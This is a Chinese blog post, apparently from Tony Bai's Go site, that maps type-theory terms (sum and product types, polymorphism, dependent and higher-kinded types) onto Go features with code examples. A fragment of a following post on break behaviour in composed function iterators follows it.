在开发阶段就被扼杀在摇篮里。\n更高的性能：编译器确切地知道每个变量的类型和内存布局，可以生成高度优化的机器码。运行时无需再花费时间去检查类型。\n更好的工具支持和可维护性：类型本身就是最可靠的文档。IDE 能提供精准的自动补全、代码导航和安全的重构。\nGo 是一门不折不扣的静态类型语言。 它的编译器是你的第一道防线。\npackage main func main() { var i int // 下面这行代码会导致编译失败，而不是运行时错误 i = \u0026#34;hello\u0026#34; } // go build -\u0026gt; ./main.go:6:4: cannot use \u0026#34;hello\u0026#34; (type untyped string) as type int in assignment 动态类型 (Dynamically Typed) 定义：类型检查发生在运行时。变量本身没有固定的类型，它可以随时指向任何类型的值。只有当代码执行到某一行，需要对一个值进行特定操作时，解释器才会检查这个值的类型是否支持该操作。\n代表语言：Python, JavaScript, Ruby。\nGo 中的“动态”一面：虽然 Go 语言本身是静态的，但它通过 interface{} (自 Go 1.18 起的别名 any) 提供了一种强大的机制来处理不确定的类型，这在行为上模拟了动态类型的灵活性。\n一个接口值可以看作一个“箱子”，它包含了两部分信息：值的动态类型（dynamic type）和动态值（dynamic value）。\npackage main import \u0026#34;fmt\u0026#34; func main() { // data 的静态类型是 any，它可以持有任何类型的值 var data any data = \u0026#34;hello, world\u0026#34; // 编译通过，data 的动态类型是 string printValue(data) data = 42 // 编译通过，data 的动态类型是 int printValue(data) data = true // 编译通过，data 的动态类型是 bool printValue(data) } func printValue(v any) { // 使用类型断言(type assertion)或类型选择(type switch)在运行时检查动态类型 switch val := v.(type) { case string: fmt.Printf(\u0026#34;It\u0026#39;s a string: %s\\n\u0026#34;, val) case int: fmt.Printf(\u0026#34;It\u0026#39;s an integer: %d\\n\u0026#34;, val) default: fmt.Printf(\u0026#34;It\u0026#39;s some other type: %T\\n\u0026#34;, val) } } 这种机制是 Go 实现通用数据结构和处理 JSON 等非结构化数据的基石，但代价是放弃了部分编译时的类型安全，并将检查推迟到了运行时。\n类型的严格程度：强类型 vs. 弱类型 (Strong vs. Weak) 这个维度的划分标准在学术界略有争议，但通常用来描述一门语言对于不同类型间隐式转换的容忍度。\n强类型 (Strongly Typed) 定义：语言严格限制不同类型之间的隐式转换。当一个操作需要特定类型时，你必须提供该类型的值。如果类型不匹配，要么编译失败，要么运行时报错，语言本身不会“自作主张”地进行不安全的转换。\nGo 的类型系统是出了名的“强硬”。\npackage main import \u0026#34;strconv\u0026#34; func main() { var a int = 10 var b float64 = 5.5 // 编译错误：不同数值类型之间不能直接运算 // c := a + b // invalid operation: a + b (mismatched types int and float64) // 必须进行显式类型转换 c := float64(a) + b // 正确 var i int32 = 100 var j int64 = 200 // 即使是不同位数的整型，也必须显式转换 // k := i + j // invalid operation: i + j (mismatched types int32 and int64) } 这种严格性杜绝了许多在 C/C++ 或 JavaScript 中常见的、因隐式转换导致的难以察觉的 bug，让代码行为更加可预测。\n弱类型 (Weakly Typed) 定义：语言倾向于在操作中自动进行类型转换，以“尽力”让程序继续运行。\n代表语言：JavaScript 是典型代表，’5′ + 1 会得到字符串 ’51′，而 ’5′ – 1 会得到数字 4。这种灵活性有时很方便，但也是 bug 的温床。\n类型的等价性判断：名义类型 vs. 结构类型 (Nominal vs. Structural) 这是判断“类型 A 和类型 B 是否相同（或兼容）”的规则，也是理解 Go 接口的关键。\n名义类型 (Nominal Typing) 定义：类型是否等价，取决于它们的名称。即使两个类型拥有完全相同的底层结构和字段，只要它们的类型名称不同，它们就是两个完全不同的、不兼容的类型。\nGo 的核心类型（structs, named basic types）遵循名义类型系统。\npackage main import \u0026#34;fmt\u0026#34; type UserID int type ProductID int type Point struct { X, Y int } type Vector struct { X, Y int } func main() { var uid UserID = 123 var pid ProductID = 123 // 编译错误：尽管底层都是 int，但类型名称不同 // if uid == pid { ... } // invalid operation: uid == pid (mismatched types UserID and ProductID) p := Point{1, 2} v := Vector{1, 2} // 编译错误：尽管结构完全相同，但类型名称不同 // if p == v { ... } // invalid operation: p == v (mismatched types Point and Vector) } 名义类型提供了非常强的意图保证。UserID 就是 UserID，它承载的业务含义与 ProductID 完全不同，编译器强制你区分它们，从而避免了将用户 ID 误用为产品 ID 的逻辑错误。\n结构类型 (Structural Typing) 定义：类型是否兼容，取决于它们的结构或“形状”（它们有哪些字段、哪些方法）。只要结构满足要求，类型就是兼容的，这与它们的名称无关。这通常被称为“鸭子类型”（Duck Typing）——“如果它走起来像鸭子，叫起来也像鸭子，那么它就是一只鸭子。”\nGo 的体现：Go 的 interface 系统是纯粹的结构类型系统。\npackage main import \u0026#34;fmt\u0026#34; // 定义一个“会叫的”接口 type Quacker interface { Quack() string } // Duck 类型，它有一个 Quack 方法 type Duck struct{} func (d Duck) Quack() string { return \u0026#34;Quack!\u0026#34; } // Person 类型，它也有一个 Quack 方法 type Person struct{} func (p Person) Quack() string { return \u0026#34;I\u0026#39;m quacking like a duck!\u0026#34; } // 这个函数只关心传入的值是否满足 Quacker 接口的“结构” func MakeItQuack(q Quacker) { fmt.Println(q.Quack()) } func main() { var d Duck var p Person // Duck 和 Person 都没有显式声明 \u0026#34;implements Quacker\u0026#34; // 但因为它们都有 Quack() string 方法，所以它们都满足 Quacker 接口 MakeItQuack(d) // 输出: Quack! MakeItQuack(p) // 输出: I\u0026#39;m quacking like a duck! } Go 的这一设计堪称神来之笔：在一个整体为名义类型的静态语言中，通过接口开辟了一块结构类型的区域，从而在不牺牲类型安全的前提下，获得了动态语言般的灵活性和强大的解耦能力。 你可以在不修改第三方库代码的情况下，让自己的类型去实现它的接口。\nGo 类型系统的定位 综合以上维度，我们可以给 Go 的类型系统下一个精准的定义：\nGo 是一门静态、强类型的语言。它主要采用名义类型系统来保证代码的严谨性和意图明确性，同时通过接口这一特性，创造性地引入了结构类型系统，以实现灵活、非侵入式的多态。\n现在，我们已经搭建好了理解类型系统的宏观框架。接下来，让我们深入到类型的“原子世界”，看看那些让 Gopher 们“懵圈”的术语，在 Go 中究竟是什么模样。\n类型的“和”与“积” —— Go 世界的 Sum \u0026amp; Product Type 在类型理论中，最基本的两种类型组合方式是“积”与“和”。它们就像算术中的乘法和加法，是构建更复杂类型的基础。\nProduct Type (积类型)：A and B 学术定义：一个积类型（Product Type）的值由多个其他类型的值同时组成。如果一个类型 P 是类型 A 和类型 B 的积类型，那么 P 的一个值会同时包含一个 A 类型的值和一个 B 类型的值。\n这听起来很熟悉，对吗？\nGo 的实现：struct\nstruct 是 Go 对积类型的直接且完美的实现。\n// Person 类型是 string 和 int 的积类型 type Person struct { Name string // 包含一个 string Age int // 和一个 int } // p1 这个值同时持有一个 string \u0026#34;Alice\u0026#34; 和一个 int 30 var p1 Person = Person{Name: \u0026#34;Alice\u0026#34;, Age: 30} 学术上，积类型最简单的形式是元组 (Tuple)，例如 (string, int)。Go 不支持原生的元组语法，但 struct 在功能上是更强大的、带命名字段的元组。你甚至可以通过多返回值来模拟元组的使用：\nfunc getPerson() (string, int) { return \u0026#34;Bob\u0026#34;, 42 } // name 和 age 在这里就像一个临时的元组 name, age := getPerson() 所以，下次当你在讨论中听到 Product Type，你就可以自信地在脑海里将它替换为：“哦，就是 struct 这种东西。”\nSum Type (和类型)：A or B 学术定义：一个和类型（Sum Type），也叫可辨识联合 (Discriminated Union) 或变体 (Variant)，它的值在任意时刻只能是几种可能性中的一种。如果一个类型 S 是类型 A 和类型 B 的和类型，那么 S 的一个值要么是一个 A 类型的值，要么是一个 B 类型的值，绝不可能同时是两者。\n很多现代语言，如 Rust、Swift、Haskell，都有原生语法来支持和类型：\n// Rust 中的 enum 就是一个和类型 enum Result\u0026lt;T, E\u0026gt; { Ok(T), // 要么是成功，里面包含一个 T 类型的值 Err(E), // 要么是失败，里面包含一个 E 类型的值 } Go 语言没有提供上述那样的原生和类型语法。这是 Go 设计者在语言复杂性上做出的一个明确权衡。但是，Go 开发者每天都在使用和类型的思想，只是我们用的是另一种工具——接口。\n一个接口类型定义了一个方法的集合。任何实现了这些方法的类型，都可以被看作是这个接口类型集合中的一员。因此，一个接口类型的变量，可以持有任何一个满足其要求的具体类型的值。这正是“A 或 B 或 C…”的核心思想。\n让我们用一个经典的例子来具象化这个概念：一个图形应用需要处理不同的形状。\npackage main import \u0026#34;math\u0026#34; // Shape 接口定义了一个“和类型”，它可以是任何能计算面积的东西。 // 它可以是 Circle，或者是 Rectangle，或者是未来我们定义的任何其他形状。 type Shape interface { Area() float64 } // --- 可能性 1: Circle --- type Circle struct { Radius float64 } func (c Circle) Area() float64 { return math.Pi * c.Radius * c.Radius } // --- 可能性 2: Rectangle --- type Rectangle struct { Width, Height float64 } func (r Rectangle) Area() float64 { return r.Width * r.Height } // 这个函数接受一个 Shape 类型的值。 // 它不关心这个值到底是 Circle 还是 Rectangle，只关心它能调用 Area() 方法。 func PrintArea(s Shape) { // 这时，变量 s 的值可能是 Circle 或 Rectangle 之一 fmt.Printf(\u0026#34;Area of %T is %0.2f\\n\u0026#34;, s, s.Area()) } func main() { c := Circle{Radius: 5} r := Rectangle{Width: 4, Height: 3} PrintArea(c) // 输出: Area of main.Circle is 78.54 PrintArea(r) // 输出: Area of main.Rectangle is 12.00 } 在这个例子里，Shape 接口扮演了和类型的角色。一个 Shape 变量的值，在任何时刻，要么是一个 Circle，要么是一个 Rectangle。\n如何“辨识”具体的类型？—— type switch\n和类型的一个关键特性是“可辨识”（Discriminated）。这意味着我们必须有办法知道当前的值到底是哪个具体的类型。在 Go 中，我们使用 type switch 来实现这一点。\nfunc PrintShapeDetails(s Shape) { fmt.Printf(\u0026#34;Shape details for %T:\\n\u0026#34;, s) switch shape := s.(type) { case Circle: // 在这个 case 分支里，编译器知道 shape 的类型是 Circle fmt.Printf(\u0026#34; It\u0026#39;s a circle with radius %.2f\\n\u0026#34;, shape.Radius) case Rectangle: // 在这个 case 分支里，编译器知道 shape 的类型是 Rectangle fmt.Printf(\u0026#34; It\u0026#39;s a rectangle with width %.2f and height %.2f\\n\u0026#34;, shape.Width, shape.Height) default: fmt.Println(\u0026#34; It\u0026#39;s an unknown shape.\u0026#34;) } } type switch 是处理和类型值时的“模式匹配”，它安全地拆开接口这个“箱子”，并根据里面的动态类型执行相应的逻辑。\n模拟的代价：开放性与编译时检查的缺失\nGo 的接口模拟与原生和类型有一个本质区别：接口是开放的，而原生和类型通常是封闭的。\n封闭性 (Sealed/Closed)：在 Rust 的例子中，Result只能是 Ok(T)中的T 或 Err(E)中的E，编译器知道所有可能性。如果你在 match（类似 switch）时漏掉了一种情况，编译器会报错。 开放性 (Open)：在 Go 的例子中，任何包、任何地方都可以定义一个新的类型（比如 Triangle），只要它实现了 Area() 方法，它就可以被赋值给 Shape 变量。这意味着编译器永远无法保证你的 type switch 处理了所有情况，因此 default 分支变得至关重要。 为了在 Go 中模拟一个更“封闭”的和类型，有时会使用一种技巧：在接口中定义一个私有方法。\ntype Shape interface { Area() float64 isShape() // 私有方法 } 由于私有方法 isShape 只能在同一个包内被实现，这实际上就将 Shape 接口的实现者限制在了当前包内，从而模拟了一个封闭的和类型。这在 Go 标准库中（例如 net/url.go 中的 addr 接口）时有应用。\n所以，下次当你看到 Sum Type 这个术语，你的脑海中应该浮现出这样的映射：\n“哦，这是指一个值在多个类型中‘非此即彼’的概念。Go 没有原生支持它，但我们通过 interface 和 type switch 的组合，在工程实践中出色地模拟了它的核心思想。”\n抽象的力量 —— Go 中的函数与多态 类型系统不仅用于组合数据，更强大的能力在于抽象行为。这主要涉及到函数类型和多态。\n函数类型 (Function Types) 学术定义：从类型 A 到类型 B 的一个映射，记作 A -\u0026gt; B。在函数式编程和类型理论中，函数本身就是一种可以被传递、存储和返回的值，即“一等公民”。\nGo 的实现：Go 完全支持一等公民函数。我们可以定义函数类型，这在 Go 代码中非常常见。\npackage main import \u0026#34;fmt\u0026#34; // 定义一个函数类型 Operator，它接受两个 int，返回一个 int type Operator func(int, int) int func add(a, b int) int { return a + b } func multiply(a, b int) int { return a * b } // calculate 函数接受一个 Operator 类型的函数作为参数 func calculate(a, b int, op Operator) { result := op(a, b) fmt.Printf(\u0026#34;Result is: %d\\n\u0026#34;, result) } func main() { calculate(10, 5, add) // 输出: Result is: 15 calculate(10, 5, multiply) // 输出: Result is: 50 } HTTP 中间件、策略模式等诸多设计模式在 Go 中都大量利用了函数类型。\n多态 (Polymorphism) “Polymorphism”源于希腊语，意为“多种形态”。在编程中，它指代一段代码可以处理不同类型的值的能力。类型理论通常将其分为几种。\n参数多态 (Parametric Polymorphism) 学术定义：编写的代码其逻辑对于操作的值的具体类型是通用的、不相关的。函数或数据结构可以被一个或多个类型参数化。例如，一个反转列表的函数，其逻辑（交换头尾元素）与列表里存的是整数、字符串还是用户自定义结构完全无关。\nGo 的实现：泛型 (Generics, Go 1.18+)\n在 Go 1.18 之前，Gopher 们只能通过 interface{} 和反射来模拟参数多态，但这牺牲了类型安全和性能。泛型的引入，为 Go 提供了实现参数多态的“正统”方式。\npackage main import \u0026#34;fmt\u0026#34; // 这个函数的逻辑对任何类型 T 都是一样的 // T 是一个类型参数 func Reverse[T any](s []T) { for i, j := 0, len(s)-1; i \u0026lt; j; i, j = i+1, j-1 { s[i], s[j] = s[j], s[i] } } func main() { intSlice := []int{1, 2, 3, 4} Reverse(intSlice) fmt.Println(intSlice) // 输出: [4 3 2 1] stringSlice := []string{\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;} Reverse(stringSlice) fmt.Println(stringSlice) // 输出: [c b a] } 当你听到 Parametric Polymorphism，你就可以直接联想到 Go 的泛型。\n子类型多态 (Subtype Polymorphism) 学术定义：一个函数或操作可以作用于某个类型 T，同时也能作用于 T 的所有子类型。例如，一个处理 Animal 的函数，应该也能处理 Dog 和 Cat，因为 Dog 和 Cat 都是 Animal 的子类型。\nGo 的实现：接口 (Interfaces)\n我们又回到了接口！在 Go 的世界里，子类型的概念正是通过接口来实现的。如果类型 T 实现了接口 I，那么 T 就可以被看作是 I 的一个“子类型”。\n更准确地说，Go 实现的是结构化子类型 (Structural Subtyping)。\npackage main import ( \u0026#34;bytes\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;io\u0026#34; \u0026#34;os\u0026#34; ) // 这个函数接受任何满足 io.Reader 接口的类型 // os.File 是 io.Reader 的一个“子类型” // bytes.Buffer 也是 io.Reader 的一个“子类型” func ReadAndPrint(r io.Reader) { data, err := io.ReadAll(r) if err != nil { panic(err) } fmt.Println(string(data)) } func main() { // 从文件读取 file, _ := os.Open(\u0026#34;test.txt\u0026#34;) defer file.Close() ReadAndPrint(file) // 从内存中的 buffer 读取 buffer := bytes.NewBufferString(\u0026#34;Hello from buffer!\u0026#34;) ReadAndPrint(buffer) } ReadAndPrint 函数体现了子类型多态：它被编写用来处理 io.Reader 这一通用类型，但实际上它可以无缝处理 os.File、 bytes.Buffer 以及任何其他未来可能出现的、满足 io.Reader 结构的类型。\nAd-hoc 多态 (Ad-hoc Polymorphism) 学术定义：也称为重载 (Overloading)。同一个函数名可以有多个不同的实现，具体调用哪个实现取决于参数的类型。例如，add(int, int) 和 add(string, string) 是两个不同的函数。\nGo 不支持函数重载。Go 的哲学是“显式优于隐式”，函数签名（包括函数名、参数类型和返回值类型）是唯一的。\n理论的边界 —— Go 类型系统“做不到”的事 理解一门语言，不仅要知道它能做什么，也要知道它的边界在哪里，以及为什么会有这些边界。这通常是设计者在“表达力”与“简洁性”之间做出权衡的结果。\n依赖类型 (Dependent Types) 学术定义：一种高级的类型系统特性，允许类型依赖于值。这意味着类型可以由程序中的常规变量来参数化。\n经典例子：定义一个“长度为 n 的向量”类型 Vector(n)。这样，Vector(3) 和 Vector(4) 就是两个完全不同的类型。编译器可以静态地保证你不会把一个长度为 3 的向量赋值给一个长度为 4 的向量变量，或者保证矩阵乘法的维度匹配。\n// 伪代码，Go 并不支持 func dotProduct(n: int, v1: Vector(n), v2: Vector(n)) -\u0026gt; float64 { // ... } var vec3 Vector(3) var vec4 Vector(4) dotProduct(3, vec3, vec4) // 编译错误！vec4 的长度不是 3 Go完全不支持依赖类型。Go 的类型系统在编译时工作，而像 n 这样的值通常在运行时才知道。将运行时信息混入编译时类型检查会极大地增加语言和编译器的复杂性。Go 选择了简洁，将这类检查（如切片长度）的责任交给了程序员，通过 len() 函数和运行时 panic 来保障。\n值得一提的是，Go 的数组类型 [N]T 具有依赖类型的“影子”。例如，[3]int 和 [4]int 是不同的类型，因为它们的类型定义依赖于值 3 和 4。但这并非真正的依赖类型，因为数组的长度 N 必须是一个编译时常量，而不能是一个运行时变量。这个限制正是 Go 的数组与依赖类型的本质区别，也是 Go 在追求更强类型安全与保持语言简洁性之间做出的一种工程权衡。\n高阶类型 (Higher-Kinded Types, HKTs) 这是一个在函数式编程和高级类型系统讨论中频繁出现的术语，也是理解 Go 泛型设计边界的关键所在。乍一听可能有些吓人，但我们可以通过类比来轻松理解它。\n通俗解释：类型的“阶”\n想象一下我们熟悉的函数：\n一阶函数：操作“值”。例如，func add(a, b int) int 接受 int 值，返回 int 值。 高阶函数：操作“函数”。例如，func apply(f func(int) int, v int) int 接受一个函数 f 作为参数。 现在，我们把这个概念“提升”到类型层面：\n一阶类型 (或称普通类型)：就是一个具体的类型，比如 int, string, struct{}。在类型理论中，它们的“种类”(Kind) 被记为 *。\n高阶类型 (Higher-Kinded Types)：不是一个完整的类型，而是一个“类型的模板”或“类型构造器”(Type Constructor)。它接受一个或多个普通类型作为参数，然后“构造”出一个新的普通类型。\n[]T 就是一个类型构造器。[] 本身不是类型，你必须给它一个类型（如 int），才能得到一个完整的类型 []int。它的“种类”可以记为 * -\u0026gt; * (接受一个类型，返回一个类型)。 同理，map[K]V 也是一个类型构造器，它的“种类”是 * -\u0026gt; * -\u0026gt; * (接受两个类型，返回一个类型)。 chan T 也是 * -\u0026gt; *。 高阶类型系统，就是指一门语言的泛型系统能够对类型构造器本身进行抽象的能力。换句话说，泛型参数不仅可以是 T（代表一个普通类型），还可以是 F（代表一个类型构造器，如 [] 或 chan）。\nGo 的现状：不支持高阶类型\nGo 的泛型系统被设计为只处理一阶类型。这意味着 Go 的类型参数 [T any] 只能代表一个完整的类型。\nT 可以是 int。 T 也可以是 []int。 但 T 不能是 [] 本身。 让我们通过一个经典的 Map 函数的例子来具体说明这一点。我们的目标是写一个通用的 Map 函数，它能将一个容器里的所有元素通过一个函数进行转换，并返回一个包含新元素的同类容器。\nGo 能做到的：为每种容器编写独立的泛型函数\n由于 Go 不支持 HKTs，我们必须为 slice、channel 或其他任何我们想支持的容器类型，分别编写一个泛型 Map 函数。\n// 为 slice 实现的 Map func SliceMap[T, U any](s []T, f func(T) U) []U { result := make([]U, len(s)) for i, v := range s { result[i] = f(v) } return result } // 为 channel 实现的 Map (简化版) func ChanMap[T, U any](ch \u0026lt;-chan T, f func(T) U) \u0026lt;-chan U { result := make(chan U) go func() { defer close(result) for v := range ch { result \u0026lt;- f(v) } }() return result } 注意，SliceMap 和 ChanMap 的核心逻辑思想是一致的，但因为容器的操作方式（创建、遍历、添加元素）不同，且 Go 无法抽象“容器”这个概念，我们不得不重复编写。\nGo 做不到的：一个统一所有容器的 Map 函数（伪代码）\n如果 Go 支持高阶类型，我们就可以梦想编写一个 UniversalMap 函数。下面的代码使用了 Go 的语法风格，但它在 Go 中是完全无法编译的，它仅仅是为了展示 HKTs 的思想。\n// ---------------------------------------------------- // !! 警告：以下是 HKTs 思想的伪代码，无法在 Go 中编译 !! // ---------------------------------------------------- // 这里的 type F[T] any 是一种虚构的语法， // 意在声明“F 是一个接受单一类型参数的类型构造器”。 func UniversalMap[type F[T] any, T, U any](container F[T], f func(T) U) F[U] { // 这段函数体在 Go 中是无法实现的，因为： // 1. 如何创建一个 F[U] 类型的新容器？make(F[U]) 语法无效。 // 2. 如何遍历一个抽象的 F[T] 容器？range 关键字只认识内置类型。 // 3. 如何向 F[U] 中添加一个元素？是 append 还是 \u0026lt;- 发送？ panic(\u0026#34;This is pseudo-code demonstrating what HKTs would enable.\u0026#34;) } func main() { ints := []int{1, 2, 3} intChan := make(chan int) // 在一个支持 HKTs 的理想世界里，我们可以这样调用： // strings := UniversalMap(ints, func(i int) string { ... }) // 期望返回 []string // stringChan := UniversalMap(intChan, func(i int) string { ... }) // 期望返回 chan string } 这段伪代码清晰地揭示了 Go 泛型的边界：\n语法限制：Go 没有定义 [type F[T] any] 这样的语法来表示“一个类型构造器”作为类型参数。 实现限制：即使语法允许，Go 缺乏一个通用的接口来描述“容器”的基本操作（如 map, flatMap 等）。支持 HKTs 的语言（如 Haskell, Scala）通常会提供一套名为 Functor, Monad 的“类型类”或“特质”(traits) 来定义这些通用操作，程序员可以为自己的容器类型（比如自定义的 Tree[T]）实现这些接口。 为什么 Go 选择不支持 HKTs？\n这是一个深思熟虑的设计决策。Go 语言的核心哲学之一是简洁性和可读性。高阶类型的概念虽然强大，但它引入了更高层次的抽象，极大地增加了语言的复杂性和程序员的心智负担。对于 Go 团队来说，为 slice 和 chan 等几种常见类型编写独立的泛型函数，这种适度的代码重复，相比于引入整个 HKTs 体系所带来的复杂性，是一个更值得接受的权衡。\n所以，当你听到 Higher-Kinded Types，你可以这样理解：“它是一种更强大的泛型，可以对像 []T 中的 [] 这样的‘类型模板’本身进行参数化，但 Go 为了保持简洁而没有支持它。因此在 Go 中，我们需要为不同的容器类型（如 slice, channel）编写各自的泛型工具函数。”\n小结：从“懵圈”到“通透” 我们从令人困惑的 GitHub issue 讨论出发，踏上了一段连接类型理论与 Go 语言实践的旅程。现在，让我们回顾一下我们的“翻译”成果，将那些抽象的术语牢牢地锚定在 Go 的具体实现上：\n类型系统框架：我们确立了 Go 的定位——一个静态、强类型的系统，它以名义类型为基础保证代码的严谨性，同时通过接口这一卓越设计，巧妙地融合了结构类型的灵活性。\nProduct Type (积类型)：这个概念不再神秘，它就是我们日常工作中构建复合数据的基石——struct。\nSum Type (和类型)：我们揭示了 Go 是如何通过接口和type switch 这一组合拳，优雅地模拟出和类型的核心思想（“A 或 B”）。我们最熟悉的 error 接口，便是这一思想在 Go 生态中最无处不在的体现。\nParametric Polymorphism (参数多态)：我们看到，Go 1.18+ 的泛型为其提供了原生的、类型安全的支持，让我们得以编写出与具体类型无关的通用算法和数据结构。\nSubtype Polymorphism (子类型多态)：这再次指向了 Go 接口的强大之处。它基于结构化子类型，构建了一个非侵入式、高度解耦的多态模型，这是 Go 强大组合能力的核心源泉。\n理论的边界 (Dependent Types \u0026amp; HKTs)：我们不仅理解了这些高级特性是什么，更重要的是，通过具体的伪代码示例，我们清晰地看到了 Go 泛型的局限性——它只能参数化完整的类型，而无法抽象类型构造器（如 [] 或 chan）。我们明白了，这些“做不到”并非语言的缺陷，而是 Go 团队在追求简洁性、可读性和工程实用性方面做出的深思熟虑的设计权衡。\n掌握这些术语，并不仅仅是为了在技术讨论中显得“专业”。更重要的是，它为我们提供了一个更深刻、更系统的视角来审视我们每天使用的工具。它解释了 Go 为什么是现在这个样子，它的优势在哪里，它的取舍又在哪里。\n希望这篇文章能成为你工具箱里的一件利器。当你下一次再遇到那些“学院派”术语时，你将不再“懵圈”，而是能够会心一笑，轻松地将它们映射到你熟悉的 Go 世界中，从而更加自信地去创造、去构建、去解决实际的工程问题。\n毕竟，对于实战派 Gopher 而言，任何理论的最终价值，都在于它能否帮助我们写出更好、更稳健、更易于维护的代码。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/30/type-theory-intro-for-gopher/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/type-theory-intro-for-gopher-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/30/type-theory-intro-for-gopher\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/30/type-theory-intro-for-gopher\"\u003ehttps://tonybai.com/2025/10/30/type-theory-intro-for-gopher\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e你是否曾有过这样的经历：在浏览一个关于 Go 泛型或接口设计的 GitHub issue 或技术提案时，评论区里的大佬们突然开始讨论 “Sum Type”、“Product Type”、“Parametric Polymorphism” 或是 “Higher-Kinded Types”。一瞬间，你感觉自己仿佛闯入了一个学术研讨会，这些看似熟悉又陌生的词汇让你一头雾水，只想默默关掉页面。\u003c/p\u003e","title":"告别懵圈：实战派 Gopher 的类型理论入门"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/29/why-break-in-go-function-iterators-does-not-work\n大家好，我是Tony Bai。\n在我的极客时间专栏《Tony Bai·Go语言进阶课》的关于 Go 1.23+ 函数迭代器的第9讲中，我介绍了一种非常强大的高级用法——迭代器组合 (Iterator Composition)。通过像 Filter 和 Map 这样的高阶函数，我们可以用一种相对优雅、富有表现力的方式，构建复杂的数据处理管道。\n然而，这种优雅的背后，隐藏着一套全新的执行模型。近日，一位读者在学习了迭代器组合的示例后，提出了一个极其敏锐的问题，它也是许多 Gopher 在初次接触函数迭代器时可能遇到的障碍。\n这个问题是：在一个组合了多个迭代器的 for range 循环中，break 语句似乎没有按预期工作，导致了“多余”的输出。\n这个问题非常棒，因为它迫使我们撕开 for range 函数迭代器 的语法糖，深入到 yield 函数的协作机制中，去真正理解迭代器组合的“魔法”是如何运作的。\n在这篇文章中，我们就来解构一下Go函数迭代器，再次尝试帮助大家认清函数迭代器的本质。\n“案发现场”：一个看似“不听话”的 break 让我们先复现一下这位学员遇到的困惑。我们基于课程中的 Filter 和 Map 思想，构建了一套链式调用的迭代器，并编写了如下测试代码：\n// https://go.dev/play/p/23dWataMxa7 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;iter\u0026#34; \u0026#34;slices\u0026#34; ) // Sequence 是一个包装 iter.Seq 的结构体，用于支持链式调用 type Sequence[T any] struct { seq iter.Seq[T] } // From 创建一个新的 Sequence func From[T any](seq iter.Seq[T]) Sequence[T] { return Sequence[T]{seq: seq} } // Filter 方法 func (s Sequence[T]) Filter(f func(T) bool) Sequence[T] { return Sequence[T]{ seq: func(yield func(T) bool) { for v := range s.seq { if f(v) \u0026amp;\u0026amp; !yield(v) { return } } }, } } // Map 方法 func (s Sequence[T]) Map(f func(T) T) Sequence[T] { return Sequence[T]{ seq: func(yield func(T) bool) { for v := range s.seq { if !yield(f(v)) { return } } }, } } // Range 方法，用于支持 range 语法 func (s Sequence[T]) Range() iter.Seq[T] { return s.seq } // 辅助函数 func IsEven(n int) bool { return n%2 == 0 } func Add100(n int) int { return n + 100 } func main() { sl := []int{12, 13, 14, 5, 67, 82} // 构建一个迭代器管道： // 1. 从切片 sl 创建一个序列 // 2. 过滤出所有偶数 (IsEven) // 3. 将每个偶数加上 100 (Add100) it := From(slices.Values(sl)).Filter(IsEven).Map(Add100) for v := range it.Range() { // 循环体 if v == 67 { break } fmt.Println(v) } } 注：这里没有选择像issue 61898中的那样的迭代器的组合：for v := range Add100(FilterOdd(slices.Values(sl)))，而是封装了一个类型，让使用方式更像是一种“链式调用”：for v := range From(slices.Values(sl)).Filter(IsEven).Map(Add100).Range()。\n学员的预期：\n他期望在循环体中，当 v 的值等于 67 时，break 语句会立即终止整个迭代过程，后面的82不会继续被处理(不该输出182)。\n实际输出：\n112 114 182 核心疑点：为什么 break 条件 v == 67 似乎完全没有生效，循环不仅没有在 67 处停止，反而继续执行并输出了 182？break 难道“失效”了吗？\n要解开这个谜团，我们必须从 for range 的“语法解糖”开始，一步步解构迭代器的调用链的构建过程以及执行流。\n第一条线索：for range 的“语法解糖” 要理解 break 的行为，我们必须首先揭开 for range 在处理函数迭代器时的神秘面纱。这并非魔法，而是编译器在背后为我们执行的一次精巧的“语法解糖” (desugaring)。\n步骤一：将循环体转换为 yield 函数 首先，编译器会提取我们的循环体逻辑：\nif v == 67 { break } fmt.Println(v) 并将其封装成一个签名为 func(int) bool 的 yield 函数。这个函数的返回值代表**“是否继续迭代”**：\nreturn true：表示循环体正常执行完毕，请求下一个值。 return false：表示遇到了 break 或 return 等中断语句，请求停止迭代。 因此，我们的循环体被转换成了类似这样的一个闭包（我们称之为 loopBodyYield）：\nloopBodyYield := func(v int) bool { if v == 67 { return false // break 语句被转换为 return false } fmt.Println(v) return true // 循环体正常结束，返回 true，请求下一个值 } 步骤二：将 for range 展开为对最终迭代器的调用 接下来，编译器将整个 for range 循环，替换为对迭代器函数的一次直接调用。这个被调用的“迭代器函数”究竟是什么呢？它就是我们链式调用的最终产物：it.Range()。\n让我们回溯一下 it 的构建过程：\nit := From(slices.Values(sl)).Filter(IsEven).Map(Add100) From(…) 创建了一个 Sequence 对象。 调用这个对象的.Filter(…) 方法并返回了一个新的 Sequence 对象，其内部的 seq 